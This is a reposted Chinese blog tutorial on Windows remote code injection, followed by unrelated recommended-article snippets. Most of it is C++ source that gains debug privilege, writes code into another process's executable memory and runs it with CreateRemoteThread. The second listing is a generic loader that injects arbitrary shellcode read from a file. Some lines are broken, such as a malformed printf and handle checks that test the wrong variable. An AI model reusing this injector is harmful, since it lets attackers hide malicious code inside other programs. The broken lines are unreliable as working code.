代码注入技术

转载 2015年11月18日 17:47:52

代码注入相对DLL注入来说更加隐蔽,但是对技术的要求要更高,个人以为代码注入最好注入稳定的Shellcode。代码注入需要用到的API有VirtualAllocEx、WriteProcessMemory、CreateRemoteThread,类似于DLL注入。通常VirtualAllocEx和WriteProcessMemory会被调用两次,分别是处理线程函数以及线程函数参数,然后通过调用CreateRemoteThread来执行代码。当如如果是注入Shellcode就只要调用一次就够了,如果是注入线程函数,需要正确的计算函数的大小,通过#pragma check_stack指令来实现(静态函数、同时关闭增量链接、Release版本)。下面的代码是一个演示弹出MessageBox的代码注入:

// CodeInjector.h
#ifndef _CODE_INJECTOR_H__
#define _CODE_INJECTOR_H__
 
#include <windows.h>
 
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
 
#define REMOTE_ALLOC_SIZE (1024 * 4)
 
#endif

// Main.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <stdio.h>
#include <string.h>
#include "CodeInjector.h"
 
typedef struct _INJECT_PARAM
{
	CHAR szMsgTitle[64];
	CHAR szMsgContent[256];
 
	DWORD dwMessageBoxA;
} INJECT_PARAM, *PINJECT_PARAM;
 
#pragma check_stack(off)
static DWORD WINAPI RemoteThreadProc(LPVOID lpParameter)
{
	typedef int (WINAPI *PFN_MessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
	PINJECT_PARAM lpParam = (PINJECT_PARAM)lpParameter;
	PFN_MessageBoxA pfnMessageBoxA = (PFN_MessageBoxA)lpParam->dwMessageBoxA;
 
	pfnMessageBoxA(NULL, lpParam->szMsgContent, lpParam->szMsgTitle, MB_ICONWARNING);
 
	return TRUE;
}
 
static void AfterRemoteThreadProc(void){ return ;}
#pragma check_stack
 
BOOL EnableDebugPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES tkp;
	BOOL bRet = FALSE;
 
	bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	CHECK_NULL_RET(bRet);
 
	bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
	CHECK_NULL_RET(bRet);
	tkp.PrivilegeCount = 1;  
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	CHECK_NULL_RET(bRet);
	bRet = TRUE;
 
Exit0:
	CloseHandle(hToken);
	return bRet;
}
 
BOOL InjectCode(DWORD dwPid)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
	DWORD dwThreadProcSize = 0;
	INJECT_PARAM stParam = {0};
	LPVOID lpParam = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	// Allocate memory for ThreadProc
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwThreadProcSize = (BYTE *)AfterRemoteThreadProc - (BYTE *)RemoteThreadProc;
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)RemoteThreadProc, 
				dwThreadProcSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	HMODULE hUser32 = LoadLibrary(TEXT("user32.dll"));
	stParam.dwMessageBoxA = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
 
	strcpy(stParam.szMsgTitle, "Just a Test");
	strcpy(stParam.szMsgContent, "Http://Www.ProgramLife.Net/");
 
	// Allocate memory for parameter
	lpParam = VirtualAllocEx(hProcess, NULL, sizeof(INJECT_PARAM), 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpParam);
 
	bRet = WriteProcessMemory(hProcess, lpParam, (LPVOID)&stParam, 
		sizeof(stParam), &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				lpParam,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	if (NULL != lpParam)
	{
		VirtualFreeEx(hProcess, lpParam, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}
 
int main(int argc, char **argv)
{
	if (argc != 2)
	{
		printf("Usage: %s PID\n",
		return 1;
	}
 
	DWORD dwPid = atoi(argv[1]);
	InjectCode(dwPid);
 
	return 0;
}
恶意软件跨进程代码注入技术


如果是直接注入Shellcode,只需要为Shellcode分配空间,然后调用CreateRemoteThread执行即可。

DWORD ReadShellcode(BYTE *pShellcode, CHAR *szShellcode)
{
	HANDLE hFile = CreateFileA(
						szShellcode,
						GENERIC_READ,
						FILE_SHARE_READ,
						NULL,
						OPEN_EXISTING,
						FILE_ATTRIBUTE_NORMAL,
						NULL);
 
	DWORD dwSize = GetFileSize(hFile, NULL);
	DWORD dwRead = 0;
 
	ReadFile(hFile, (LPVOID)pShellcode, dwSize, &dwRead, NULL);
	CloseHandle(hFile);
 
	return dwRead;
}
 
// szShellcode为Shellcode文件Path
BOOL InjectCode(DWORD dwPid, CHAR *szShellcode)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	BYTE pShellcode[SHELL_CODE_SIZE] = {0};
	DWORD dwShellcodeSize = 0;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwShellcodeSize = ReadShellcode(pShellcode, szShellcode);
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)pShellcode, 
				dwShellcodeSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				NULL,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}

一篇说明一些细节的文章:http://hi.baidu.com/lufa2014/blog/item/f5a249cbee31e71ebe09e685.html

相关文章推荐

远程注入代码,一些过时的ring3技术(ASM、VC++、Delphi) (非Dll注入)

ASM:                        &#...
  • god00
  • god00
  • 2011-04-05 09:49
  • 723

安卓简单技术-java代码贪吃蛇

import java.awt.Color;   import java.awt.Graphics;   import java.awt.Graphics2D;   import java.aw...

【Java】常用加密技术与代码研究总结

总结类文章,把一些常用的Java加密技术和核心代码写在这边,供参考。 首先大家要记住现代密码学最重要的原则柯克霍夫原则:数据的安全基于密钥而不是算法的保密。也就是说即使密码系统的任何细节已为人悉...
  • hj7jay
  • hj7jay
  • 2016-07-15 22:46
  • 2052

敏捷开发“松结对编程”系列之十:L型代码结构(技术篇之一) .

本文是“松结对编程”系列的第十篇。(松结对编程栏目目录) 主题:如何用更少的代码写相同的功能,怎样的团队结构可以推进这一点。 如果你也希望只用国际先进水平的1/4代码量,就实现相同的功能,欢迎阅读...

ProGuard代码混淆技术详解

原文地址:http://www.cnblogs.com/cr330326/p/5534915.htmlProGuard代码混淆的相关技术知识点。内容目录 ProGuard简介 ProGuard工作原理...

具有代码移植专利技术的加密芯片

近几年来,日新月异的科学发展,嵌入式设备的全面普及,带来了嵌入式程序开发领域的欣欣向荣,开发人员成年累月的成果给客户带来了极大的方便,然而程序盗用的轻而易举,却也让盗版商轻易地获得了利益,对开发人员及...

WebForm 【aspx与aspx.cs的关系】| Code-behind技术(代码分离)

aspx页 //ASPX是前台,表示设计页面,ASPX.CS是后台,是代码功能实现,分开来设计是为了代码清晰,功能模块化, Inherits表示继承,Inherits="Home.WebForm1"表...

[经验技术]Kindeditor与SyntaxHighlighter整合实现代码着色

目的:鉴于网络中许多程序员在进行技术交流时,时常会将程序源代码直接显示于页面之中,这样有两个弊端。第一、如果源代码在显示之前没有经过“特别处理”,有可能代码会在页面显示的同时直接运行后输出,造成页面错...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)